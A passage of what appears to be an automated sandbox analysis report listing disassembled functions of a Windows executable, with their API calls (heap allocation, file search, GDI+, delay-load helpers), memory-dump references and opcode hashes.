Opcode Fuzzy Hash: 52f7c5e716bd8925e44ccb87ab49215b176a90b11fb51478c4f34b1964d92fe7
Instruction Fuzzy Hash: 7811C4B76002296B9B2A9A1CEC50A7AB3D5EB8432071A45A0EE19EB254D630DC05C6D2

Function 00BD9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD921A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 556defa33f4153c9bb3c2c73f40dde141a779ea939b5fd7d4785f0d801bc9c94
Instruction ID: 355dd723598c54184d777447994558f070db477fbdbdb0138dc9c03ed3b1c85d
Opcode Fuzzy Hash: 556defa33f4153c9bb3c2c73f40dde141a779ea939b5fd7d4785f0d801bc9c94
Instruction Fuzzy Hash: 4F016973900564ABCF11AB68CD819DEFBB5EF88750F054696E815B7351EA34CD04C7A0

Function 00BFC479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00BFB136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BF9813,00000001,00000364,?,00BF3F73,00000050,?,00C11030,00000200), ref: 00BFB177

_free.LIBCMT ref: 00BFC4E5

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 0795501ffff8e424b15568eaf9e4fd9673a62d7466e2c2ee34227bcc4455e7e7
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 6801D67320030D6BE331CF69D88597AFBE9EB85370F25056DE69493281EB30A949C764

Function 00BFB136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00BF9813,00000001,00000364,?,00BF3F73,00000050,?,00C11030,00000200), ref: 00BFB177

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: db285be37a2f0c84ea0a58e093fb60418026112f7a1e1e96ebd7ffe664c5c955
Instruction ID: 6756586b36e18efc320b9535f627ee969a6302e1717bf932310ec86f4cb30ca7
Opcode Fuzzy Hash: db285be37a2f0c84ea0a58e093fb60418026112f7a1e1e96ebd7ffe664c5c955
Instruction Fuzzy Hash: B6F0B43252512CB7DB255A21EC16F7F77C8EF41760B1982E1FA08B7190CB30DB0986E0

Function 00BF3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00BF3C3F

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 169333c8d8cc2a5aa2c00c905c8103a912a3c7b346d7fd00aaa75da75b5f2b38
Instruction ID: 22611c17455271c6c66c89c3b3ef1282d09f5e610e614e963a4c353ee4d19d8d
Opcode Fuzzy Hash: 169333c8d8cc2a5aa2c00c905c8103a912a3c7b346d7fd00aaa75da75b5f2b38
Instruction Fuzzy Hash: AAF0E53221031E9FCF158EA8EC00BAA77E9EF01F207104165FB05E7190DB31DA24C790

Function 00BF8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BFCA2C,00000000,?,00BF6CBE,?,00000008,?,00BF91E0,?,?,?), ref: 00BF8E38

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 85878312dbf0ec9b37bad24f1705a5ab5f5ba79b0a339e97a87824777ddc8749
Instruction ID: 4c7bcaf6507ed36d35d856ddabfcb50267ef5a5678e3b3d172702ff4b7cc928e
Opcode Fuzzy Hash: 85878312dbf0ec9b37bad24f1705a5ab5f5ba79b0a339e97a87824777ddc8749
Instruction Fuzzy Hash: 33E06D3560622D67EA7226659D05BBF76C8DF417A4F1601E1BF18AB095CF20CD0882E1

Function 00BD5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD5AC2

Part of subcall function 00BDB505: __EH_prolog.LIBCMT ref: 00BDB50A

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2d35a025f8a76441b392c044031d44646f1260f8e9573f5c3a0a3cb60eebb066
Instruction ID: 6ee2375e90aef8151d9c0f63ff58131f3c5d94787e33a785dfd5974bfac599a1
Opcode Fuzzy Hash: 2d35a025f8a76441b392c044031d44646f1260f8e9573f5c3a0a3cb60eebb066
Instruction Fuzzy Hash: A50169308206D0DED725F7B8C0557DDFBE49FA4305F5484CEA45663282CBB81B08D6A2

Function 00BDA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00BDA69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6C4
Part of subcall function 00BDA69B: FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6F2
Part of subcall function 00BDA69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00BDA592,000000FF,?,?), ref: 00BDA6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00BDA598

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 1f37c7750d2e492cb5326b3f336e6dec6e81524e6c5e2c997c1625f92bf43bd5
Instruction ID: 52fa5e8349127549a3022634bc437643ba83631182df0a1373e1bdacf89dd845
Opcode Fuzzy Hash: 1f37c7750d2e492cb5326b3f336e6dec6e81524e6c5e2c997c1625f92bf43bd5
Instruction Fuzzy Hash: F7F08236009790EACF2257B49944BCBFBD46F2A335F048A8BF1FD52296D27550949B23

Function 00BE0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00BE0E3D

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 2696004e8f0fc67ade72da671209c2ec646754433ac4fb44227e40919b861506
Instruction ID: f2b3bf04aee7fc184b2c574d50fd96a19876b21fadfcbf5c18b2e05fbc42759c
Opcode Fuzzy Hash: 2696004e8f0fc67ade72da671209c2ec646754433ac4fb44227e40919b861506
Instruction Fuzzy Hash: 66D01221E250D556DA11333A68557FE26CACFCB311F0D04E7B64957282DBA848C6A261

Function 00BEA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00BEA62C

Part of subcall function 00BEA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00BEA3DA

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: e306d76066f3de20231300985edb6df79a7a14d0b79c0abb9bf2dffae16c89bb
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: E8D0C971210249BADF426F738C5296E7ADEFB01340F0481A5B842D9291EBB1FD10A666

Function 00BEE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00BEE5E3

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: e044ed64d0bfa049107522ab4dc00907090072b50a0a89fa567b03118e07d55b
Instruction ID: c35489baf16aeffcf65cff35ce6a1436ea16cc505299d08679febbcb6d22957e
Opcode Fuzzy Hash: e044ed64d0bfa049107522ab4dc00907090072b50a0a89fa567b03118e07d55b
Instruction Fuzzy Hash: 08D012B01D02D09FD702EBAAB88671D33D4F335706FA811D1F565D15A5DB64C880CA25

Function 00BEDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00BE1B3E), ref: 00BEDD92

Part of subcall function 00BEB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BEB579
Part of subcall function 00BEB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00BEB58A
Part of subcall function 00BEB568: IsDialogMessageW.USER32(0001043E,?), ref: 00BEB59E
Part of subcall function 00BEB568: TranslateMessage.USER32(?), ref: 00BEB5AC
Part of subcall function 00BEB568: DispatchMessageW.USER32(?), ref: 00BEB5B6

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 49cc29156b2d5f58521c4492a235c87d9a17f612357c3d8447a85da73be8cd20
Instruction ID: 086004acfc55852ddce7508ef0cfb2aaa841b12340013349cddf08a75bf35c0e
Opcode Fuzzy Hash: 49cc29156b2d5f58521c4492a235c87d9a17f612357c3d8447a85da73be8cd20
Instruction Fuzzy Hash: 1AD09E31158340BAD6022B52DD06F0F7AE2BB98B05F004594B384740F1CBB29D61DB11

Function 00BD98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00BD97BE), ref: 00BD98C8

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: ffbce2b8a352bbab52afc3103c2146e9270b1761c5f022d5f679019db8807758
Instruction ID: 93f836597addb13754fec0326268a6136dd17213948263f76420d9e22d3c72b0
Opcode Fuzzy Hash: ffbce2b8a352bbab52afc3103c2146e9270b1761c5f022d5f679019db8807758
Instruction Fuzzy Hash: 7CC0123840410585CE2046249844099F351EA53BE57B886D5C038891E1D323CC47FB10

Function 00BEE1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7f9e7f7ff32100a6e7cbfc205a861cc81c76626505b2762484e2d1258379fe04
Instruction ID: 296ac94097b6b4153ba4175fc63dd213602c09af41818616f11fe61b737edd35
Opcode Fuzzy Hash: 7f9e7f7ff32100a6e7cbfc205a861cc81c76626505b2762484e2d1258379fe04
Instruction Fuzzy Hash: 18B012D526C0C0AC310853071C42C3B018CC0C1B11B30C17EFC25C01C0FA40EC4C1432

Function 00BEE1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4c0ee97275aea74672341bb11e80089e92475590f3b1d70170d297b73b66bd97
Instruction ID: 2f085cabefa824e4e58e98330703a7ca239236362be9466ad069b709b2475671
Opcode Fuzzy Hash: 4c0ee97275aea74672341bb11e80089e92475590f3b1d70170d297b73b66bd97
Instruction Fuzzy Hash: 9FB012D936C1C0AC3108524B1C82C3B018CC0C0B11B30417EFC25C00C0FB40EC441532

Function 00BEE1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 55d00e1f6e0673295ed63adc86289accd021f8601ee62c248960203c7d8f9657
Instruction ID: c75aa2a41ef17f54f1f8566e0eb1c972d043e4a4b4b167c8cf9b864cfd9e73c3
Opcode Fuzzy Hash: 55d00e1f6e0673295ed63adc86289accd021f8601ee62c248960203c7d8f9657
Instruction Fuzzy Hash: C8B012D936C1C0BC310812471C92C3B014CC0C1B11B30857EFC21D04C0FA40EC441432

Function 00BEE282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 94a7cf4731b56875f46221f9362c05b0a5f7f2e663c80583cab2fbf8e01c8d9f
Instruction ID: f4c527ab77f7c40c0693ac6ccf438a34cf0293348bc0e3827fdd1aa94144e3b9
Opcode Fuzzy Hash: 94a7cf4731b56875f46221f9362c05b0a5f7f2e663c80583cab2fbf8e01c8d9f
Instruction Fuzzy Hash: 3CB012E526C0C0AC310852071D42C3B01DCC0C0B11F30417EF825C00C0FF40ED852432

Function 00BEE23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4e03fdb764926e0db6bb9ad22bd0fdb97e480c47e3ebea57fb33977f22ca2e8e
Instruction ID: 3836c55600dc9519e0cb3dd8333774ee50161e9c2eb6352bd9a672d46dcb79f6
Opcode Fuzzy Hash: 4e03fdb764926e0db6bb9ad22bd0fdb97e480c47e3ebea57fb33977f22ca2e8e
Instruction Fuzzy Hash: 54B012E526C0C0AC320852071C42C3B019CC0C0F11B30417EF826C00C0FA40ED441432

Function 00BEE232 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE1E3

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

